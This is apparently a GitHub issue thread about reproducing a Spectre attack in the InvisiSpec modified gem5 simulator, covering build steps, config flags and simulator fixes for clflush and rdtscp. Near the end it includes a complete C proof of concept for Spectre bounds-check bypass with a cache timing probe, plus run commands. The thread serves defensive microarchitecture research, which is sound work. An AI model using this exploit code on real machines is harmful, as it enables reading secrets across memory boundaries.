How to make spectre run in unsafe baseline mode?

[rodney2612]

Thanks a lot for making the code public. This definitely makes it easier for other researchers (including me) to start working on extending your work.

The code used by me for spectre attack: https://gist.github.com/ErikAugust/724d4a969fb2c6ae1bbd7b2a9e3d4bb6

Spectre works when I use the original unmodified gem5 code:

1. Compiled spectre as: gcc spectre.c -o spectre -static
2. Built gem5 as: scons -j2 build/X86/gem5.opt
3. Changed the CPU from TimingSimpleCPU() to DerivO3CPU(branchPred=LTAGE()) in two_level.py
4. Ran spectre as: build/X86/gem5.opt configs/learning_gem5/part1/two_level.py spectre.
5. Spectre attack is successfully able to reveal the secret.

Spectre does not work when I use the modified gem5 code provided by you:

1. On the modified gem5 code provided by you, I couldn't build using X86 due to some errors in MI_example-cache.sm and MI_example-dir.sm.
2. Seeing that the example scripts used X86_MESI_Two_Level, I built gem5 using X86_MESI_Two_Level and was able to successfully build it.
3. However when I tried to run spectre as:
   build/X86_MESI_Two_Level/gem5.opt configs/learning_gem5/part1/two_level.py spectre, it is not working. The spectre attack is unable to reveal the secret.

Also, since most of the config options are added to se.py, I tried running the following command:

1. build/X86_MESI_Two_Level/gem5.opt configs/example/se.py --cpu-type=DerivO3CPU --needsTSO=0 --scheme=UnsafeBaseline --l1d_size=64kB --l1i_size=16kB --l2_size=256kB --caches --mem-type=DDR3_1600_8x8 --sys-clock=1GHz -c spectre.

2. I ran it this way because even two_level.py used 2 level caches with DDR3_1600_8x8 as mem type, sys clock as 1 GHz and DerivO3CPU as cpu type. The main purpose of two_level.py was to create 2 level cache

3. That is, I tried running spectre using UnsafeBaseline mode, but it is not working in unsafe baseline mode as well as in SpectreSafeInvisibleSpec mode. Ideally, spectre attack should have worked in unsafebaseline mode and successfully defended by SpectreSafeInvisibleSpec mode.

Could you please let me know how did you carry out the spectre attack and which code did you use to perform it. Please help me reproduce the spectre attack on your modified gem5 code.

[mjyan0720]

The version of GEM5 that we started with does not have good support for serializing "rdtscp" instructions, resulting in incorrect measurement of execution time. After hacking the simulator, we made the attack work, but it is required to use 2 "rdtscp" instructions, where the first one works as a "fense" and the second one works as the real "rdtsc" instruction.

We just uploaded the attack code. Please find it under the directory "attack_code".

Also, InvisiSpec requires modifying the cache, and we only did it for MESI_Two_Level.

[rodney2612]

Thank you so much for your response.

Using --caches with --scheme=SpectreSafeInvisibleSpec , gives the below error: gem5.opt: build/X86_MESI_Two_Level/mem/cache/cache.cc:192: void Cache::satisfyRequest(PacketPtr, CacheBlk*, bool, bool): Assertion `pkt->hasRespData()' failed. Program aborted at tick 844000

So, I had to use --ruby (the example scripts use ruby too). I ran the below command: build/X86_MESI_Two_Level/gem5.opt --outdir=m5out configs/example/se.py --cpu-type=DerivO3CPU --needsTSO=0 --scheme=UnsafeBaseline --ruby --l1d_assoc=8 --l2_assoc=16 --l1i_assoc=4 -c spectre_full. Spectre attack is not working with the above command, where spectre_full is the binary. for the attack code provided by you.

However, Spectre attack works when I run: build/X86_MESI_Two_Level/gem5.opt configs/learning_gem5/part1/two_level.py spectre_full two_level.py creates standard caches instead of ruby simulated caches.

So,could you please let me know how did you run the attack using --ruby. Could you please share the command/script used to run spectre, if possible.

I have tried tweaking various config options as well as CACHE_HIT_THRESHOLD to run the attack with ruby, but without any success. Also, I have tried using most of the config options in run_spec_from_ckpt.sh without success.

[mjyan0720]

For the first problem, the InvisiSpec mode only works under ruby mode. It is because we added new transactions, such as the invisible request, validation, exposure (details in the InvisiSpec paper). We only modified the ruby mode to handle these requests. This is why the classical cache mode does not work.

For the second problem, it is wired that the spectre code does not work. We are looking into it, and hopefully can get back to you soon.

[rodney2612]

Thanks for the quick reply. Would significant changes to the existing code be required to get InvisiSpec mode to work in standard cache mode?

[mjyan0720]

I think it requires some changes. Basically, you need to add support to handle these new requests.

[rodney2612]

Could you please confirm this for me: You ran the attack with scheme as UnsafeBaseline in cache mode and showed your defense against attack with scheme as
SpectreSafeInvisibleSpec in Ruby mode. Am I missing something here?

[mjyan0720]

We ran both in ruby mode.

Now I remember what happened. We used a different branch to test the attack code, mainly because Ruby does not support flushing a cache line. We need to

1. add support for "clflush" in the cache
2. After we added flush to the cache, it turns out the flush put the data to the write buffer in DRAM. The next access still takes short time. And what we did is to hack the simulator to make sure the cache line is drained from the write buffer.

I'm currently traveling. I will add that branch once I'm back.

On Tue, Feb 12, 2019 at 11:40 PM Rodney Stephen Rodrigues < [email protected]> wrote:

Could you please confirm this for me: You ran the attack with scheme as UnsafeBaseline in cache mode and showed your defense against attack with scheme as SpectreSafeInvisibleSpec in Ruby mode. Am I missing something here?

— You are receiving this because you commented.

Reply to this email directly, view it on GitHub https://github.com/mjyan0720/InvisiSpec-1.0/issues/1#issuecomment-463055311, or mute the thread https://github.com/notifications/unsubscribe-auth/AGglUzfrbmT2as3QDpZJiv4TyeVE9bv4ks5vM5cqgaJpZM4ai3NZ .

[rodney2612]

Request you to add the branch you used to test the attack code.

[mytbk]

I'd like to see what changes the InvisiSpec code has done to gem5, but this repo doesn't have the history on what modification has been done, so I tried to rebase the code to a gem5 revision. It's a big change with nearly 3k lines of modifications. https://git.wehack.space/gem5/commit/?h=invisispec-1.0&id=169588684b179baed4f5f93d8be52c51aa08f06d I found the code has added the rdtscp in src/arch/x86/isa/insts/system/msrs.py and src/arch/x86/isa/macroop.isa.

[mytbk]

I've just written a PoC code which evicts all the things in the cache, then use Spectre to read the secret value in the cache. I also rebased the code to a gem5 revision which has rdtscp implementation. (https://git.wehack.space/gem5/log/?h=is-rebase-new3-rdtscp) My attack code is as follows:

#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <x86intrin.h>

/* default: 64B line size, L1-D 64KB assoc 2, L1-I 32KB assoc 2, L2 2MB assoc 8 */
#define LLC_SIZE (2 << 20)

uint8_t dummy[LLC_SIZE];
size_t array_size = 4;
uint8_t array1[200] = {1, 2, 3, 4};
uint8_t array2[256 * 64 * 2];
uint8_t X;

uint8_t victim(size_t idx)
{
	if (idx < array_size) {
		return array2[array1[idx] * 64];
	}
}

int main()
{
	unsigned long t[256];
	volatile uint8_t x;

	victim(0);
	victim(0);
	victim(0);
	victim(0);
	victim(0);

	memset(dummy, 1, sizeof(dummy)); // flush L2
	X = 123; // set the secret value, and also bring it to cache

	_mm_mfence();

	size_t attack_idx = &X - array1;
	victim(attack_idx);

	for (int i = 0; i < 256; i++) {
		unsigned int junk;
		unsigned long time1 = __rdtscp(&junk);
		x ^= array2[i * 64];
		unsigned long time2 = __rdtscp(&junk);
		t[i] = time2 - time1;
	}

	printf("attack_idx = %ld\n", attack_idx);
	for (int i = 0; i < 256; i++) {
		printf("%d: %d, %s\n", i, t[i], (t[i] < 40)? "hit": "miss");
	}
}

When running ./build/X86_MESI_Two_Level/gem5.fast configs/example/se.py --num-cpus=1 --mem-size=4GB --cpu-type=DerivO3CPU --needsTSO=1 --scheme=UnsafeBaseline --ruby -c attack I can see 123: 30, hit and others miss, while changing UnsafeBaseline to SpectreSafeInvisibleSpec, all the lines miss.

[Gerrie-Cui]

@mytbk Why is the delay of 20 when I use the above code? Can you run the spectre attack under the option of UnsafeBaseline? This code is a modification of the base mountain on InvisiSpec, but it can run a spectre attack in the case of UnsafeBasiline. https://github.com/gururaj-s/cleanupspec . In this code, clflush and rdtscp seem to work. But there is error under other options.